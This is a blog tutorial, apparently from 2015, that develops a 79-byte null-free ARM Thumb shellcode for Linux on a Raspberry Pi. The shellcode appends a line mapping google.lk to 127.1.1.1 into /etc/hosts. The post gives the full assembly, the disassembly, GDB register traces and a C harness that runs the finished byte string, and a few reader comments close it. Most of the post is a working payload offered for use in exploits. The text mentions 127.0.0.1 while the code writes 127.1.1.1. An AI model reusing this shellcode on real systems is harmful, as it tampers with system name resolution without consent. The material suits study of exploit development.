I was interested in learning ARM assembly language for developing small applications for microcontrollers. I wrote this small piece of shellcode which will write “127.0.0.1 google.lk” inside the /etc/hosts file in a Linux system. I used my Raspberry Pi model B+ for this 🙂
We will be needing the following syscalls.
[code language=”c”]
#define __NR_exit (__NR_SYSCALL_BASE+ 1)
#define __NR_write (__NR_SYSCALL_BASE+ 4)
#define __NR_open (__NR_SYSCALL_BASE+ 5)
#define __NR_close (__NR_SYSCALL_BASE+ 6)
[/code]
In shellcoding we do not want any null characters and we want to make the code optimized. The smaller the shellcode the better in exploit development.
Since 32 bit addressing can cause null bytes let’s use the Thumb mode in ARM. This will give us 16-bit addressing which means 16-bit opcodes.
[code language=”c”]
.code 32
# Thumb-Mode on
add r6, pc, #1
bx r6
[/code]
First we need to open the file and get a valid file descriptor and pass it to write syscall to write the data.
This is prototype for open.
[code language=”c”]
#include
#include
#include
int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);
[/code]
This is how we should exactly place the arguments in assembly.
r0 => "/etc/hosts"
r1 => $0x401
r2 => 0
r7 => 5
[code language=”c”]
# _open()
sub r4, r4, r4
mov r2, r4
mov r1, $0xff
add r1, $0xff
add r1, $0xff
add r1, $0xff
add r1, $0x5
mov r0, pc
add r0, #12
mov r7, $0x5
svc 1
[/code]
For writing data this the function prototype.
[code language=”c”]
#include
ssize_t write(int fd, const void *buf, size_t count);
[/code]
Assembly syntax.
r0 => (file descriptor from open())
r1 => 127.1.1.1 google.lk\n
r2 => 20
r7 => 4
[code language=”c”]
# _write()
mov r2, #11
mov r1, pc
add r1, #20
mov r7, $0x4
svc 1
[/code]
Now let’s put them altogether and write our assembly program. I won’t be using the close() syscall, this will increase the size.
[code language=”c”]
@ Title: Add map in /etc/hosts file – 79 bytes
@ Date: 2015-03-02
@ Architecture: armv6l GNU/Linux
@ Website: http://osandamalith.wordpress.com
@ E-Mail: osanda[cat]unseen.is
@ Author: Osanda Malith Jayathissa (@OsandaMalith)
.section .text
.global _start
_start:
.code 32
# Thumb-Mode on
add r6, pc, #1 @sasa
bx r6
.code 16
# _open()
sub r4, r4, r4
mov r2, r4
mov r1, $0xff
add r1, $0xff
add r1, $0xff
add r1, $0xff
add r1, $0x5
mov r0, pc
add r0, #42
mov r7, $0x5
svc 1
# _write()
mov r2, #20
mov r1, pc
add r1, #12
mov r7, $0x4
svc 1
# _exit()
sub r4, r4, r4
mov r0, r4
mov r7, $0x1
svc 1
.ascii "127.1.1.1 google.lk\n"
.word 0x6374652f
.word 0x6f682f2f
.short 0x7473
.byte 0x73
[/code]
After assembling and linking if we check the disassembly no null bytes to be found 🙂
hosts: file format elf32-littlearm Disassembly of section .text: 00008054 : 8054: e28f6001 add r6, pc, #1 8058: e12fff16 bx r6 805c: 1b24 subs r4, r4, r4 805e: 1c22 adds r2, r4, #0 8060: 21ff movs r1, #255 ; 0xff 8062: 31ff adds r1, #255 ; 0xff 8064: 31ff adds r1, #255 ; 0xff 8066: 31ff adds r1, #255 ; 0xff 8068: 3105 adds r1, #5 806a: 4678 mov r0, pc 806c: 302a adds r0, #42 ; 0x2a 806e: 2705 movs r7, #5 8070: df01 svc 1 8072: 2214 movs r2, #20 8074: 4679 mov r1, pc 8076: 310c adds r1, #12 8078: 2704 movs r7, #4 807a: df01 svc 1 807c: 1b24 subs r4, r4, r4 807e: 1c20 adds r0, r4, #0 8080: 2701 movs r7, #1 8082: df01 svc 1 8084: 2e373231 mrccs 2, 1, r3, cr7, cr1, {1} 8088: 2e312e31 mrccs 14, 1, r2, cr1, cr1, {1} 808c: 6f672031 svcvs 0x00672031 8090: 656c676f strbvs r6, [ip, #-1903]! ; 0x76f 8094: 0a6b6c2e beq 1ae3154 8098: 6374652f cmnvs r4, #197132288 ; 0xbc00000 809c: 6f682f2f svcvs 0x00682f2f 80a0: 00737473 rsbseq r7, r3, r3, ror r4
Let’s analyze this in GDB to make sure everything works well as we planned.
root@raspberrypi:/home/pi/shellcode/hosts# gdb -q ./open Reading symbols from /home/pi/shellcode/hosts/open...(no debugging symbols found)...done. gdb$ disassemble _start Dump of assembler code for function _start: 0x00008054 : add r6, pc, #1 0x00008058 : bx r6 0x0000805c : subs r4, r4, r4 0x0000805e : adds r2, r4, #0 0x00008060 : movs r1, #255 ; 0xff 0x00008062 : adds r1, #255 ; 0xff 0x00008064 : adds r1, #255 ; 0xff 0x00008066 : adds r1, #255 ; 0xff 0x00008068 : adds r1, #5 0x0000806a : mov r0, pc 0x0000806c : adds r0, #42 ; 0x2a 0x0000806e : movs r7, #5 0x00008070 : svc 1 0x00008072 : movs r2, #20 0x00008074 : mov r1, pc 0x00008076 : adds r1, #12 0x00008078 : movs r7, #4 0x0000807a : svc 1 0x0000807c : subs r4, r4, r4 0x0000807e : adds r0, r4, #0 0x00008080 : movs r7, #1 0x00008082 : svc 1 0x00008084 : mrccs 2, 1, r3, cr7, cr1, {1} 0x00008088 : mrccs 14, 1, r2, cr1, cr1, {1} 0x0000808c : svcvs 0x00672031 0x00008090 : strbvs r6, [r12, #-1903]! ; 0x76f 0x00008094 : beq 0x1ae3154 0x00008098 : cmnvs r4, #197132288 ; 0xbc00000 0x0000809c : svcvs 0x00682f2f 0x000080a0 : rsbseq r7, r3, r3, ror r4 End of assembler dump. gdb$ b *0x00008070 Breakpoint 1 at 0x8070 gdb$ run Error while running hook_stop: No symbol table is loaded. Use the "file" command. Breakpoint 1, 0x00008070 in _start () gdb$ i r r0 0x8098 0x8098 r1 0x401 0x401 r2 0x0 0x0 r3 0x0 0x0 r4 0x0 0x0 r5 0x0 0x0 r6 0x805d 0x805d r7 0x5 0x5 r8 0x0 0x0 r9 0x0 0x0 r10 0x0 0x0 r11 0x0 0x0 r12 0x0 0x0 sp 0xbefff840 0xbefff840 lr 0x0 0x0 pc 0x8070 0x8070 cpsr 0x30 0x30 gdb$ x/s 0x8098 0x8098 : "/etc//hosts" gdb$
r0 points to our string “/etc/hosts” and flags are set to 0x401. Let’s nexti.
gdb$ nexti Error while running hook_stop: No symbol table is loaded. Use the "file" command. 0x00008072 in _start () gdb$ i r r0 0x7 0x7 r1 0x401 0x401 r2 0x0 0x0 r3 0x0 0x0 r4 0x0 0x0 r5 0x0 0x0 r6 0x805d 0x805d r7 0x5 0x5 r8 0x0 0x0 r9 0x0 0x0 r10 0x0 0x0 r11 0x0 0x0 r12 0x0 0x0 sp 0xbefff840 0xbefff840 lr 0x0 0x0 pc 0x8072 0x8072 cpsr 0x30 0x30
r0 contains the return value which is not an error. So now that the opening part is done next let’s check the writing part.
gdb$ b *0x0000807a Breakpoint 2 at 0x807a gdb$ c Error while running hook_stop: No symbol table is loaded. Use the "file" command. Breakpoint 2, 0x0000807a in _start () gdb$ i r r0 0x7 0x7 r1 0x8084 0x8084 r2 0x14 0x14 r3 0x0 0x0 r4 0x0 0x0 r5 0x0 0x0 r6 0x805d 0x805d r7 0x4 0x4 r8 0x0 0x0 r9 0x0 0x0 r10 0x0 0x0 r11 0x0 0x0 r12 0x0 0x0 sp 0xbefff840 0xbefff840 lr 0x0 0x0 pc 0x807a 0x807a cpsr 0x30 0x30 gdb$ x/s 0x8084 0x8084 : "127.1.1.1 google.lk\n/etc//hosts"
Notice that we are writing only 20 characters from the string. That is why we specify 0x14 into r2.
Everything seemed to work well 🙂 This is the final shellcode 🙂
[code language=”c”]
#include <stdio.h>
#include <string.h>
char *shellcode = "\x01\x60\x8f\xe2"
"\x16\xff\x2f\xe1"
"\x24\x1b"
"\x22\x1c"
"\xff\x21"
"\xff\x31"
"\xff\x31"
"\xff\x31"
"\x05\x31"
"\x78\x46"
"\x2a\x30"
"\x05\x27"
"\x01\xdf"
"\x14\x22" // movs r2, $0x14 ; length
"\x79\x46"
"\x0c\x31"
"\x04\x27"
"\x01\xdf"
"\x24\x1b"
"\x20\x1c"
"\x01\x27"
"\x01\xdf"
"\x31\x32\x37\x2e" // 127.
"\x31\x2e\x31\x2e" // 1.1.
"\x31\x20\x67\x6f" // 1 go
"\x6f\x67\x6c\x65" // ogle
"\x2e\x6c\x6b\x0a" // .lk
"\x2f\x65\x74\x63"
"\x2f\x2f\x68\x6f"
"\x73\x74\x73";
int main(void) {
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
[/code]
http://packetstormsecurity.com/files/130610/79-Bytes-Add-Mapping-etc-hosts.html
Nice work, thanks for sharing! One question though: where do you get the songs ? They remind me of my youth 🙂
Thanks! I always use http://modarchive.org/
Enjoyed reading, BIG +!